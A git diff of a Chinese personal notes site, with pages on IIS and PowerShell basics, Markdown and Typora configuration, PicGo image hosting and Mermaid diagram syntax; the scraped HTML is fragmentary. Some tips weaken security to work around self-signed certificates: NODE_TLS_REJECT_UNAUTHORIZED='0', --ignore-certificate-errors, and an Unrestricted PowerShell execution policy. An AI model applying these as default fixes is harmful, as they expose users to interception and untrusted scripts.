IIS-WindowsAuthentication
: 启用 Windows 身份验证,允许用户使用其 Windows 凭据进行身份验证。
IIS-StaticContent
: 启用静态内容支持,用于托管和提供静态文件(如 HTML、CSS 和图像)。
IIS-DefaultDocument
: 启用默认文档支持,用于配置默认文档文件。
IIS-HttpCompressionStatic
: 启用静态内容的 HTTP 压缩,以提高性能并减少带宽占用。
IIS-DirectoryBrowsing
: 启用目录浏览功能,允许用户浏览 Web 服务器上的目录。
-Online
: 指定要在在线模式下启用 Windows 可选功能。在线模式表示不需要重新启动计算机以使更改生效。通常,在使用 -Online
参数时,可以实时启用或禁用功能,而不必重新启动计算机。
这与离线模式相对,离线模式通常需要重新启动计算机以使更改生效,这可能会导致系统中断。在线模式通常用于快速配置和启用功能而无需中断计算机的正常操作。
然后可以通过如下命令判断 WWW服务(World Wide Web Publishing Service)是否启动来判断是否成功启用了 IIS
基础语法 循环结构
+$cmd_always = 'curl http:/ / 192. 168. 1. 21/phpinfo. php - UseBasicParsing
+while ( $true ) {
+ Invoke-Expression $cmd_always
+}
+
报错收集 关于执行策略 - PowerShell | Microsoft Docsopen in new window
Windwos+x -> 以管理员身份运行 PowerShell
默认是 Restricted
:
Windows 客户端计算机的默认执行策略。 允许单个命令,但不允许脚本。 防止运行所有脚本文件,包括格式化和配置文件 () .ps1xml
、模块脚本文件 (.psm1
) ,以及 powerShell 配置文件 (.ps1
) 。 可以将其改为 RemoteSigned
Windows 服务器计算机的默认执行策略。 脚本可以运行。 需要来自受信任的发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)的数字签名。 不需要对在本地计算机上编写的脚本(而不是从 Internet 下载)进行数字签名。 如果脚本被取消阻止,则运行从 Internet 下载且未签名的脚本,例如使用 Unblock-File
cmdlet。 从 Internet 以外的源运行未签名脚本的风险,以及可能是恶意的签名脚本。 输入 RemoteSigned
并回车, 输入 y
确认更改;
然后可以 get-ExecutionPolicy
看下是否改动完成
不过这里也许会报错:
可以看到在 UserPolicy 中 ExecutionPolicy 为 Restricted
Set-ExecutionPolicy - Scope UserPolicy UnRestricted
+
上一页
Shell
+
+
+
diff --git a/Language/Shell/index.html b/Language/Shell/index.html
new file mode 100644
index 0000000000..5d89521176
--- /dev/null
+++ b/Language/Shell/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Shell | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/TypeScript/TypeScript.html b/Language/TypeScript/TypeScript.html
new file mode 100644
index 0000000000..8277af2027
--- /dev/null
+++ b/Language/TypeScript/TypeScript.html
@@ -0,0 +1,300 @@
+
+
+
+
+
+
+
+ TypeScript | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/TypeScript/index.html b/Language/TypeScript/index.html
new file mode 100644
index 0000000000..2d4026ef90
--- /dev/null
+++ b/Language/TypeScript/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Type Script | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/index.html b/Language/index.html
new file mode 100644
index 0000000000..dffb7574b2
--- /dev/null
+++ b/Language/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Language | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/LaTex/Latex.html b/NoteTools/LaTex/Latex.html
new file mode 100644
index 0000000000..1ce3581e0a
--- /dev/null
+++ b/NoteTools/LaTex/Latex.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ 安装 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/LaTex/index.html b/NoteTools/LaTex/index.html
new file mode 100644
index 0000000000..f3e9ee2607
--- /dev/null
+++ b/NoteTools/LaTex/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ La Tex | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/NoteTools/Markdown.html b/NoteTools/Markdown.html
new file mode 100644
index 0000000000..eb9a2208dd
--- /dev/null
+++ b/NoteTools/Markdown.html
@@ -0,0 +1,118 @@
+
+
+
+
+
+
+
+ Markdown | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Markdown 基础语法 # 一级标题
+## 二级标题
+### 三级标题
+
+分割线↓
+
+---
+
+- 无序列表
+1. 有序列表
+
+[待加入超链接的文字 ](链接 )
+! [图片描述信息 ](图链 )
+`短代码或者专用名词`
+==高亮文本==
+
+``` 代码块语言
+代码块内容
+```
+
有序列表 待加入超链接的文字 ![图片描述信息](图链)
(PS: 这里不贴出来是因为会导致站点构建错误, 可在 图片章节 查看演示效果) 短代码或者专用名词
高亮文本
上面的源码部分在 分割线
与 ---
中间空了一行, 是有原因的, 如果不空行的话有可能会把 ---
上面的文本识别成标题
换行
行末两个空格并换行
第一行文字 第二行文字
Typora 中对应 Space Space Shift+Enter
直接空一行
第一行文字
第二行文字
Typora 中对应 Enter
链接 图片 图片标识想起就起,不想起空着也行
图片地址可以填相对地址也可以填网络中的绝对地址
相对地址
网络绝对地址(http/https
)
不推荐使用本地文件的绝对地址, 不是相对路径拼接的绝对路径是坏文明(, 毕竟这样做可移植性几乎没有, 不管是个人设备中迁移 markdown 文件还是共享 需要先将图片上传到图床上然后再获取图片的链接,可以借用Gitee 或 Github 的 Issue 中评论框粘贴图片直接生成图链或者是使用一些免费的公共图床 ![](http://cdn.ayusummer233.top/img/202212111515300.png)
+
PS: Gitee 在年初更新了防盗链规则, 不推荐在 Gitee 站外使用 Gitee 图链, 否则就丢图了
目前在 Gitee 站外引用的 Gitee 图链会变成一个 Gitee 图标
推荐使用个人图床(比如七牛云对象存储, 正常使用前期存储较少的时候一个月不到一毛钱, 存了几千张图片之后也不过一个月两三毛的样子, 两三年前充了 50 现在还有四十七块多)
反而域名才是消耗品, .top
域名首年九块九, 后面续费就二十多了
不推荐使用公共图床是因为不好管理以及怕丢以及不清楚公共图床是否会压图
表格 | :--- | :---: | ---: |
+| 值1 | 值2 | 值3 |
+
实际上一般不会手打表格语法, 在 Typora 中可以用 Ctrl + T
或者在右键菜单中选择快捷插入表格
:---,
:--:,
---:分别对应左对齐, 居中对齐和右对齐(中间的
-数量其实无所谓, 主要是用来对齐
|` 这样源码比较美观)
可以在 VSCode 中使用 Markdown All in One 扩展来一键格式化 markdown 文档源码 Alt + Shift + F
分页符 < div STYLE = " page-break-after : always; " > </ div>
+
直接在 markdown 源码中插入此行, 这样在导出 PDF 文件时会在此行处分页
之所以有这个需求是因为经常出现一张长图片导致前一页或者后一页出现大面积空白或是一段源码在 PDF 中刚好分在了两页上, 这样阅读起来就比较别扭, 因此可以手动插入分页符进行调整
不过后来分享 PDF 页数越来越多时手动插入分页符的操作非常耗费精力, 因此就引出了导出 HTML 分享的解决方案
对应 VNote 导出 以及 [MPE 导出](#使用 MPE 导出 base64图片 && 带侧边目录的 HTML)
有了解决方案后又有了新的问题, 不是所有分享媒介都直接预览 HTML 文件(比如微盘和gitlab都不支持直接预览 HTML), 从而引出了新的解决方案:
对于 Gitlab 而言, 默认支持 markdown 文件的渲染显示 对于微盘而言, 最终还是分享 markdown + 图片文件夹 + PDF 使用 VuePress, VitePress 等工具自己起个文档站点展示 markdown 文件 html markdown 是兼容 html 语法的, 所以你可以在 Markdown 中使用 html + css 来实现各种自定义的效果
排版 通常, 在 Typora 中一份 markdown 文档展示给我们的预览效果是通过根据当前主题的 css 样式将当前文档的 markdown 源码渲染为 html 显示的
当我们切换主题时就会看到预览效果的变化, 比如有些主题的标题预览是居中显示的
而我们同样也可以直接在 Markdown 源码中写 html 来自定义该部分内容的排版
例如使用 <center>
标签将文字居中显示:
图像居中显示:
< div align = center> < img src = " http://cdn.ayusummer233.top/img/20210514111630.png" width = " " > </ div>
+
字体类型与颜色 < font face = " 黑体" > 使用黑体</ font>
+
< font face = " 黑体" size = 10> 我是黑体10号字</ font>
+
< font color = red> 红色</ font>
+
字体大小 < font size = 5> 示例</ font>
+
对于全局字体大小的设置也可以在 Typora 的偏好设置中的外观设置中进行自定义配置
目录 本地阅读的话一般编辑器侧边栏大纲都是展示全部的目录的, 但是很多站点的 Markdown 渲染侧边栏只支持深度到2级的目录展示, 所以在顶部有一个目录还是有些用的
Typora 可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 VSCode 中的 Markdown All in One 扩展的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
插入数学公式 公式内部打空格 怎么在LaTeX,Markdown和知乎上写数学公式时打出空格 - 知乎 (zhihu.com)open in new window
多行公式等号对齐 NPV = 现金流入现值和 - 现金流出现值和
\begin{aligned}
+ NPV &= CI - CO \\
+ &= \sum_{t=0}^n CI_t (P/F, i_0, t) - \sum_{t=0}^n CO_t (P/F, i_0, t) \\
+\end{aligned}
+
N P V = C I − C O = ∑ t = 0 n C I t ( P / F , i 0 , t ) − ∑ t = 0 n C O t ( P / F , i 0 , t ) \begin{aligned} NPV &= CI - CO \\ &= \sum_{t=0}^n CI_t (P/F, i_0, t) - \sum_{t=0}^n CO_t (P/F, i_0, t) \\ \end{aligned} NP V = C I − CO = t = 0 ∑ n C I t ( P / F , i 0 , t ) − t = 0 ∑ n C O t ( P / F , i 0 , t )
矩阵 如何在 markdown 中表示矩阵? - 知乎 (zhihu.com)open in new window
$$\begin{matrix}
+0&1&1\\
+1&1&0\\
+1&0&1\\
+\end{matrix}$$
+
中括号边框: bmatrix
0 1 1 1 1 0 1 0 1 \begin{matrix} 0&1&1\\ 1&1&0\\ 1&0&1\\ \end{matrix} 0 1 1 1 1 0 1 0 1
Markdown 编辑软件 Typora 六年后才推出首个正式版,Typora 1.0 详细评测 - 少数派 (sspai.com)open in new window
与 VSCode 相较而言在大文件的续写方面渲染速度太慢, 但是当文档仅有一千行左右时渲染速度还不错
PS: 长期使用过后我个人写 Markdown 的主力工具仍是 Typora, 因其对表格以及图片的支持比较好, 以及用 VSCode 写 Markdown 经常需要同时打开源码和预览两个窗口, 即便装了类似 Typora 的插件体验依旧不及 Typora 本体, 而且一两千行, 一两万字基本上对于写一个文档而言也够用了
VSCode 主要在文档中含有太多外链图片资源时编辑文档经常乱跳屏幕, 编辑体验不是很好
Typora 编辑 markdown 文件也有如下顺手之处
自动空行, 使得回车时确实能够换行书写
编辑 markdown 源码时要实现预览时的话行需要在源码行尾输入两个空格或者是一个或多个空行
可视化编辑格式(尤其是表格的插入和编辑体验很好)
直接编辑 Markdown 文件主要是看不到图片, 因此在 VSCode 中编辑 Markdown 时通常会开两个 tab, 一个编辑源码一个用来预览
配合PicGo 也可以自动上传图片到个人图床, 截图完直接粘贴可以自动生成图链
超链接的生成比较灵活, 复制完网页链接之后直接粘贴会根据内容生成超链接及其文本, 对于参考链接的书写比较友好, 省下了不少自己打描述的时间
Typora 激活前没挂梯子的话最好在偏好设置中把使用国内服务器勾选上
配置项推荐 在 偏好设置
中可以自定义自己的配置项
外观
窗口样式 窗口样式
: 分为 经典
与 一体化
两个选项, 可以根据自己的喜好进行设置
一体化
:
经典
:
字体大小 字体大小
: 推荐使用 自动
, 如果字体大小实在看着不舒服也可以自定义设置大小
状态栏 状态栏
: 推荐显示状态栏, 就是页面最下面这几个
阅读速度 阅读速度
: 默认即可, 一般也不会用到
侧边栏 侧边栏
: 勾选以允许折叠与展开大纲视图, 这个配置项无所谓, 因为在编辑时会根据需要在侧边栏右键进行调整
有时侧边栏目录太长是打开折叠展开的, 有时折叠后目录比较短但是层级比较深, 此时为了方便跳转一般会关闭允许折叠(也即全展开)(换言之折叠与否完全看心情)
主题 根据自己的喜好设置主题即可, 具体主题详见 主题推荐
通用
启动选项 默认情况下是打开 Typora 之后全是空白, 推荐选择重新打开上次使用的文件和目录, 这样可以方便继续之前的工作
保存与恢复 推荐勾选自动保存
想必 WPS 卡死导致文件被吞过的同学比较有感触
语言 选择系统语言即可
更新 已经激活了的话推荐勾选自动检查更新
个人倾向于也勾选上更新至开发板, 目前为止还没遇到什么不能接收的恶性 bug, 倾向求稳的同学可以只勾选自动检查更新
许可证信息
在详情界面可以查看序列号, 在换设备以及在其他设备使用 Typora 时会查看此项
快捷键 Shortcut Keys - Typora Supportopen in new window
Typora快捷键大全 - 知乎 (zhihu.com)open in new window
这里的自定义快捷键会跳转到官方文档, 该文档中会教授如何自定义快捷键, 翻到文档起始可以看到快捷键表格
Typora 中最常用的快捷键是
对话框 没用过, 不清楚有什么用
高级设置 只用来写文档看文档一般不会开调试模式
匿名使用数据方面除非写开源博客否则一般也不会开
点击打开高级设置会打开一个本地文件夹, 里面有两个 json 文件对应配置文件, 个人没用过, 就不再展开了
Typora 服务器 在激活 Typora 之前会勾选上, 一般是安装好 Typora 之后第一个配置的偏好设置
编辑器 建议打开即时渲染, 显示当前块元素的 Markdown 源码, 这对于调整目录层级比较有帮助, 在光标点到任意一级标题时会显示标题前的 #
, 这样就可以快速通过加减 #
来调整层级而不用再 Ctrl + /
切换到源码做修改
图像
本地图像 当图片存放在本地时推荐如此配置
插入图片时的动作其实有 6 项
选择 复制图片到 ./${filename}.assets 文件夹 是因为个人喜好, 这样可以保证一个 markdown 文件的图片对应一个图片目录
不选择复制图片到当前文件夹是因为若勾选了此项, 当文档中插入的图片比较多时, 打开本地文件目录就会看到一堆图片文件中夹杂着一个 markdown 文件(以及可能存在的导出的 PDF 等其他文件以及其他的参考文档等等), 这就会使得文件目录显得很混乱
不选择复制图片到 ./assets
文件夹是因为当一个目录下有多个 markdown 文件时, 这些 markdown 中的图片就全混在同级目录下的 assets
文件夹里了
不选择复制到指定路径是因为这样设置基本就告别相对路径了, 而绝对路径字符串是坏文明, 换个地方就不能用了
优先使用相对路径, 相对路径是好文明
勾选为相对路径添加 /
是因为有的 markdown 文档渲染站点不支持没有 ./
的相对路径
比如 VuePress 不支持没有 ./
的相对路径图像渲染, 如果引用了当前文档同级目录下的 图片/文件夹中的图片
而没有使用 ./
则会导致渲染出来的 html 无法正确索引到图片文件从而显示不出来图片
不勾选插入时自动转义图片 URL 是因为选上之后相对链接中的中文会自动 URLEncode, 读 Markdown 源码时看着不舒服(
个人图床 有个人图床时, 写个人博客的情况下可以选择结合 PicGo 上传图片到个人图床, 可以参考 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_xcy.小相的博客-CSDN博客_typroa写ubuntuopen in new window
之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了
标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的, 而且 Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora
这里需要注意的是 不要勾选为相对路径添加 ./ , 否则会上传失败(感觉应该是个 bug)
勾选了优先使用相对路径是因为这样的话当写文档时需要在本地存放图像时不用再改动此项配置了
关于勾选了相对路径添加 ./
会导致上传失败个人认为是 bug 是因为
取消勾选此项后就可以正常上传图像了 选了上传图片时其实相对路径的相关配置是没有意义的, 而现实逻辑上不相关的配置具在体实现上出现 bug 的情况并不少见, 属于是合理推测( 为相对路径添加 ./
是最近几个版本新增的功能
Markdown
不勾选智能引号是因为在个人写文档中有时用单引号还是双引号是有原因的, 不能随便换
比如 SQL 注入中的单引号与双引号以及 Python 中字符串的单双引号混用
不过一般涉及代码都会使用三个间隔号(`)标记代码块或者是使用两个间隔号包裹单行代码片段, 比如:
print("Hello World")
不勾选智能破折号是因为个人用破折号的情况很少, 用破折号的时候也不希望其发生变化
不勾选转化 Unicode 标点是因为个人标点全是半角, 所以不需要
首行缩进根据个人喜好设置即可
不显示 <br>
是因为勾选了之后个人认为看起来不美观
<br>
一般用于表格内单个单元格中的文字换行
导出 基本上要配的就一个 PDF, 需要注意的配置项也就一个主题, 默认是使用当前主题导出, 但是个人编辑 markdown 时一般用深色的主题, 而 Typora 又不支持深色主题导出, 所以这里需要勾选一个浅色的主题, 这里选了 Vue
主题推荐 个人收集的主题包整合在这里了: Typora主题open in new window
下载对应的主题压缩包, 解压后将其中的 css 文件复制到主题文件夹中即可, 如果解压后不只有 css 文件还有其他文件夹, 而且开其他文件夹后里面不光是图片, 还有字体等文件时, 将这些 其他的文件夹
也拷贝到主题目录中即可
导出 PDF 主题推荐 因为 Typora 导出 PDF 不支持深色主题, 因此这里在浅色主题中进行推荐, 导出 PDF 推荐使用 Github 和 Vue 主题
Vue
:
Github
:
深色主题推荐 自带的 Night, Dracula, VueDark 都不错
Dracula
:
VueDark
:
Night
:
浅色主题推荐 前面打印主题中展示的 Github
和 Vue
主题都不错, 在分享的主题包open in new window 中还有很多浅色主题, 由于个人不常用所以就不过多推荐了
报错收集 image load failed 无法正常导出PDF 导出 PDF 点保存后没有提示也没有导出成功
有可能是打印机服务 down 了
打开计算机服务
菜单, 启动 Print Spooler
即可
无法显示局域网https图片 如果图链源自自签名的https局域网站点, 那么需要为 Typora 的启动项添加 --ignore-certificate-errors
参数, 具体如图所示
exe 路径加引号后点击应用可能会自动把引号删掉, 应该不影响使用
LaTeX 相关 将Typora伪装成LaTeX的中文样式主题open in new window
在 VSCode 中编辑 Markdown 文件 安装 VSCode 扩展 Markdown All in One / [Markdown Preview Enhanced](#Markdown Preview Enhanced) Markdown Converter markdown文件的后缀名为md
使用大纲快速索引章节位置 使用插件快速更新生成目录 Markdown All in One 功能如其名字所示, all in one, 常用于预览 Markdown 文件以及格式化 markdown 文本和目录生成
主要是目录生成比较有用, Typora 虽然可以选择插入目录, 但是对于源码的改动只是加了个 [TOC]
, 这种配置只有在 Typora 中才能正确解析, 而 Markdown All in One 的插入目录则是直接以无序列表的形式将目录插入到了源码中, 不管在哪里都是可以正常渲染出来的
预览
:
格式化文档
:
目录
在命令面板中选择使用 Markdown All in One 生成目录即可在当前光标位置生成目录, 且每次保存时会自动更新目录
Markdown Preview Enhanced 个人觉得在预览方面有 Markdown All in One 就足够了, MPE(Markdown Preview Enhanced) 有时被用于导出包含 base64 图片的 HTML 文档
使用 MPE 预览 markdown 文件时若出现如下问题
报错 Error: spawn pandoc ENOENT · Issue #429 · shd101wyy/markdown-preview-enhanced (github.com)open in new window
How to compile to pdf from a markdown doc?! · Issue #421 · shd101wyy/markdown-preview-enhanced (github.com)open in new window
安装 Pandoc 再重启 VSCode 即可
使用 MPE 导出 base64图片 && 带侧边目录的 HTML
:
3.1 HTML 导出-markdown preview enhanced文档(简体中文版)-面试哥 (mianshigee.com)open in new window
最完善的markdown转html/pdf方法、带目录生成_所谓向日葵族的博客-CSDN博客_markdown转htmlopen in new window
Markdown转换单一html文件并添加侧边栏目录_吟风划彩虹的博客-CSDN博客_html添加目录open in new window
HTML (shd101wyy.github.io)open in new window
安装完 MPE 插件后在设置中打开脚本执行支持
使用 VSCode 打开 markdown 文件后, 打开 Markdown Preview Enhanced
的预览模式
将光标放到第一行,然后(按 Ctrl+Shift+P
)呼出命令面板,输入 Markdown Preview Enhanced: Create Toc
会在光标位置生成一段代码:
此时每次保存文件都会自动生成目录
然后在头部添加
---
+html :
+ embed_local_images : true
+ embed_svg : true
+ offline : true
+ toc : true
+print_background : true
+export_on_save :
+ html : true
+---
+
picgo
可参阅 七牛云+阿里云域名+PicGoopen in new window 进行配置, 最终在 VSCode 中的配置如下:
使用说明
markmap Markmap - Visual Studio Marketplaceopen in new window
Try markmapopen in new window
gera2ld/markmap: Visualize your Markdown as mindmaps with Markmap. (github.com)open in new window
能够将 markdown 文件根据目录层级转换为思维导图
markdownlint PS: 该扩展提供 Markdown 语法检查, 但是个人认为 该扩展提供的检查有些过于严格了, 不是特别实用 , 个人更倾向于使用 Markdown All in One 提供的一键格式化 markdown 文本
在启用 markdownlint
时, 若当前 markdown 文本中包含 html 则会被警告, 但是有时 html 标签是在自定义一些个人想要的特性时所需要使用的, 以下是关闭此警告的相关处理方案
vscode markdownlint插件让你的markdown更加规范 -- Rules规则提示信息 一介布衣 (yijiebuyi.com)open in new window
markdownlint取消部分html标签警告_sbwww的博客-CSDN博客open in new window
问题
在 vscode 中使用 markdownlint 插件进行代码分析,当使用了 html 标签时,插件会给出 MD033/no-inline-html
警告,
如果整篇 markdown 很长且遍布这种错误时该插件会导致 VSCode 十分卡顿
原因
插件作者的意图是为了使 markdown 文件是纯 markdown 的,避免在使用 html 以外的方式渲染时出错。
markdownlint/Rules.md at v0.21.0 · DavidAnson/markdownlint (github.com)open in new window
解决方案
markdownlint取消部分html标签警告_sbwww的博客-CSDN博客open in new window
打开 VSCode 设置 json 文件, 添加如下配置:
"markdownlint.config" : {
+ "default" : true ,
+ "MD033" : {
+ "allowed_elements" : [ "font" , "li" , "table" , "tr" , "td" , "br" ]
+ }
+ } ,
+
其中 "allowed_elements"
的列表中填入不想提出警告的 html 标签, 保存修改后,markdownlint 将不再对 "allowed_elements"
中的 html 标签提出警告
vnote vnote-githubRepoopen in new window
开始之初,VNote是一款专为Markdown设计的Vim风格笔记应用程序。它不仅仅是一个Markdown编辑器。VNote旨在成为一个带有便捷笔记管理的功能强大的Markdown编辑器,或者一个拥有舒适Markdown体验的笔记软件。
现在,VNote致力于成为一个舒适的笔记平台,会逐步支持更多的文档格式。
VNote是免费、开源的。您可以获得适用于Linux,Windows和macOS的版本。
可以导出嵌入图片的带侧边大纲的 HTML 但是 PDF 导出有些差强人意
工具 图床 七牛云对象存储 请参阅 Ubuntu+PicGo+七牛云图床+Typora搭建笔记神器_ubuntu挂载七牛云_xcy.小相的博客-CSDN博客open in new window
之所以不贴自己的实现步骤是因为很早之前从域名申请到具体配置的过程中没有做相关记录, 现在也不想重新来一遍, 所以就不贴了
上述链接标题中有 Ubuntu, 但是实际上 Windows 上的配置也是一样的
PS: Ubuntu 上的 Typora 版本要落后于 Windows 上的 Typora 的
Nextcloud+Picgo Docker系列 深度使用nextcloud(三)Typora图床 - 知乎 (zhihu.com)open in new window
Nextcloud 也可以配合 Picgo 作为图床使用, 简单来说上传图片到 nextcloud 并通过公开链接共享后可以在链接后缀加上 /preview
预览
而 Nextcloud 提供了用于上传图片以及分享链接的接口, 因此可以制作 Picgo 上传 Nextcloud 的插件并配合 Typora 使用
在 PicGo 插件设置中搜索 Nextcloud 并安装此项:
然后在 图床设置
中配置 Nextcloud 的地址以及登录账密以及图像存储根目录即可
PS: 插件市场里的两个插件最终都没能使用成功, 而且 log 里没什么有用的信息, 查了下对应的仓库, 最后一次更新均是在 21 年了, 打算后面有空二开一下
PS: 后来考量了下使用了 Gitlab 当图床, 继而不再去考虑二开 nextcloud 的插件了
Gitlab+Picgo d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)open in new window
Gitlab 也可以配合 Picgo 当做图床使用, 需要新建一个公开的 Gitlab 项目, 然后配置项目 Token, 详细配置请参阅上述链接
Gitlab 仓库中的图片可以通过 仓库链接/raw/{分支名}/pictures/{图片路径}
进行访问, 且 Gitlab 提供了上传文件的接口, 因此可以制作 Picgo 上传图像到 gitlab 仓库的插件并配合 Typora 使用
在 PicGo 中下载
并按照 d-w-x/picgo-plugin-gitlab-files: PicGo 向 Gitlab 的指定项目中上传图片 (github.com)open in new window 进行配置即可
需要注意的是 token 那里如果项目里要选角色的话默认是 Guest
, 权限是不够的, 可以给个 Owner
权限
需要注意的是可能上传时会报错 Error: Client network socket disconnected before secure TLS connection was established
这可能是由于 Picgo 挂了本地代理, 将其关掉即可
如果报错 RequestError: **Error**: self signed certificate
那么可能是 gitlab 地址用了自签名的 SSL 证书, 忽略自签名即可, 具体操作如下
打开插件主程序 js 文件, 该文件默认为: C:\Users\[Username]\AppData\Roaming\picgo\node_modules\picgo-plugin-gitlab-files\dist\index.js
使用 process.env
对象来临时修改环境变量,来忽略自签名证书错误, 然后,你就可以在后面的代码中发送HTTPS请求,而忽略自签名证书错误。
PS: 这种方法只会影响当前Node.js进程,不会永久改变环境变量。
process. env. NODE_TLS_REJECT_UNAUTHORIZED = '0' ;
+
如果报错 Request failed with status code 403
可能是 token 给的权限不够, 看下是不是只给了 Guest 权限
如果上传成功了但是 Typora 中无法正确渲染图像, 可能是因 Gitlab 使用了自签名的 SSL 证书, 可以设置 Typora 启动参数 --ignore-certificate-errors
来忽略该问题
PicGo Molunerfinn/PicGo: A simple & beautiful tool for pictures uploading built by vue-cli-electron-builder (github.com)open in new window
PicGo 之于 Markdown 主要是用于上传图片到个人图床并返回 Markdown 引用链接; 在前文 VSCode 中编辑 Markdown 中有提到 VSCode 中有PicGo 扩展,PicGo 也是有 PC 端软件的, 在 Releases · Molunerfinn/PicGo (github.com)open in new window 中可以下载对应系统版本的PicGo 安装包
PicGo 设置正确但是传不上去图片 可能是有设备拦截了请求, 可以在PicGo 设置中配置代理来解决
继续配合 ShareX 使用 有时单纯的静态图片可能不能很明确地展示效果, 用 GIF 可能会更好些
在插入静态图片时通常是截屏后剪贴板中会有该截图, 直接粘贴到 Typora 中就可以自动调佣 PicGo 将剪贴板中的静态图片上传到图床并生成 markdown 引用代码
但是对于 GIF, 首先是在截图方面最常使用的工具多为: Windows 自带的 Win + Shift + S
, Snipaste, QQ截图, 但是这些工具通常不支持截 GIF, ShareX 是支持截 GIF 的
设置截图后复制文件 到剪贴板:
然后直接在 Typora 上粘贴即可自动调用PicGo 上传到图床
比如:
Pandoc 安装和使用Pandoc | typora中文网open in new window
Pandoc 2.16.1-windows-x86_64.msi - OneDrive Shareopen in new window
Pandoc 是通用文档文本转换器。Typora 使用它来支持几种文件类型的文件导入/导出功能。
reveal-md markdown写ppt (史上最全) - 疯狂创客圈 - 博客园 (cnblogs.com)open in new window
像演示 PPT 一样演示 markdown
安装
:
执行如下命令进行全局安装 reveal-md
npm install -g reveal-md
+
没装 nodejs 的话需要先装 nodejs
使用
:
执行如下命令以使用 reveal-md 演示 markdown 文件
reveal-md path_markdown_file
+
如:
something interesting 徽章 RimoChan/unv-shield: 【幼盾】个性化图片徽章服务! (github.com)open in new window
![](https://unv-shield.librian.net/api/unv_shield?code=1&url=https://avatars.githubusercontent.com/u/59549826&scale=2&txt=好!&border=4&barradius=999)
+
markdown + pandoc 写论文 没搞定, 太繁杂了感觉, mark 下, 以后有空再弄
使用Markdown搭配Pandoc撰写学术论文的详细指南 - 知乎 (zhihu.com)open in new window
文献管理工具: Zotero Zotero | Your personal research assistantopen in new window
官网下载 Zoteroopen in new window , EDGE 插件open in new window 以及 VSCode Zotero 插件[可选, 主要看自己习惯用什么写 markdown]
[quick start guide Zotero Documentation]open in new window
[adding items to zotero Zotero Documentation]open in new window
[collections and tags Zotero Documentation]open in new window
[creating bibliographies Zotero Documentation]open in new window
[word processor plugin usage Zotero Documentation]open in new window
Better BibTex Better BibTeXopen in new window
下载此 xpi
文件后打开 Zotero->工具->插件->右上方齿轮图标-> Install add-on From File...
选择下载好的 xpi
文件进行安装, 安装完后重启 Zotero
会自动进入 Better BibTeX
的配置页面(均默认即可)
然后进入 Zotero
主界面 编辑->首选项->Better BibTeX
进行如下配置:
返回 Zotero
主界面后会看到多了一列 Citation Key
属性
Citation Key
可以理解成每个条目的唯一 id, 在上述配置过程中我们将其配置成了 [auth:lower[year]
的形式, 如果有重复的话会在后面添加 a b c
或者数字进行区分
上一页
VuePress
下一页
Mermaid
+
+
+
diff --git a/NoteTools/Mermaid.html b/NoteTools/Mermaid.html
new file mode 100644
index 0000000000..002736d4fc
--- /dev/null
+++ b/NoteTools/Mermaid.html
@@ -0,0 +1,128 @@
+
+
+
+
+
+
+
+ Mermaid | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Mermaid 结点内文字换行 graph LR;
+a-->b[2<br>3<br>3]
+
限制流程图大小 绘图时在当前方向上绘制的结点数量及文字比较多那么篇幅会无限扩大, 目前没有找到特别好的限制区域大小的方法 不过通常编辑文档时的界面左右大小适应屏幕左右宽度, 上下可以滚动, 那么可以指定 Mermaid 图左右方向绘制以避免图像过长 显示支持 VSCode 需要安装扩展-Markdown Preview Mermaid Support 以预览 Mermaid 图像 甘特图 gantt
+dateFormat YYYY-MM-DD
+title 甘特图
+excludes weekdays 2014-01-10
+
+Completed task : des1, 2014-01-06,2014-01-08
+Active task : des2, 2014-01-09, 2d
+Future task : des3, after des2, 5d
+Future task2 : des4, after des3, 5d
+
流程图 Flowchart (mermaid-js.github.io)open in new window
flowchart TD
+ Start --> Stop
+
-->
实线箭头
流程图整体方向 TB
- top to bottomTD
- top-down/ same as top to bottomBT
- bottom to topRL
- right to leftLR
- left to right 结点形状 Flowchart (mermaid-js.github.io)open in new window
flowchart LR
+ id1(round edges)
+ id2([stadium-shaped])
+ id3[[subroutine shape]]
+ id4[(A node in a cylindrical shape)]
+ id5((A node in the form of a circle))
+ id6>A node in an asymmetric shape]
+ id7{A node rhombus}
+ id8{{A hexagon node}}
+ id9[/Parallelogram/]
+ id10[\Parallelogram alt\]
+ id11[/Trapezoid\]
+
连接线形状 Flowchart (mermaid-js.github.io)open in new window
flowchart LR
+ A --> B
+ A --实线单箭头--> B
+ A -->|实线单箭头|C
+
+ B --- C
+ B --实线--- C
+ B ---|实线|D
+
+ C -.-|虚线|D
+ C -.->|虚线单箭头|D
+
+ D ==> E
+ D ==>|粗实线单箭头|E
+
+ E --> F & G --> H
+
+ H & I --> J & K
+
+ L --o|实线圆头|M
+ M --x|实线x头|N
+
+ N <--> |双向箭头|O
+ O o--o P
+ P x--x Q
+
+ R -------|横线越多越长| S
+
语法冲突的特殊字符 Flowchart (mermaid-js.github.io)open in new window
flowchart LR
+ A["结点内使用(括号)"]
+
子图 语法
:
subgraph title
+ graph definition
+end
+
示例
:
flowchart TB
+ c1-->a2
+ subgraph one
+ a1-->a2
+ end
+ subgraph two
+ b1-->b2
+ end
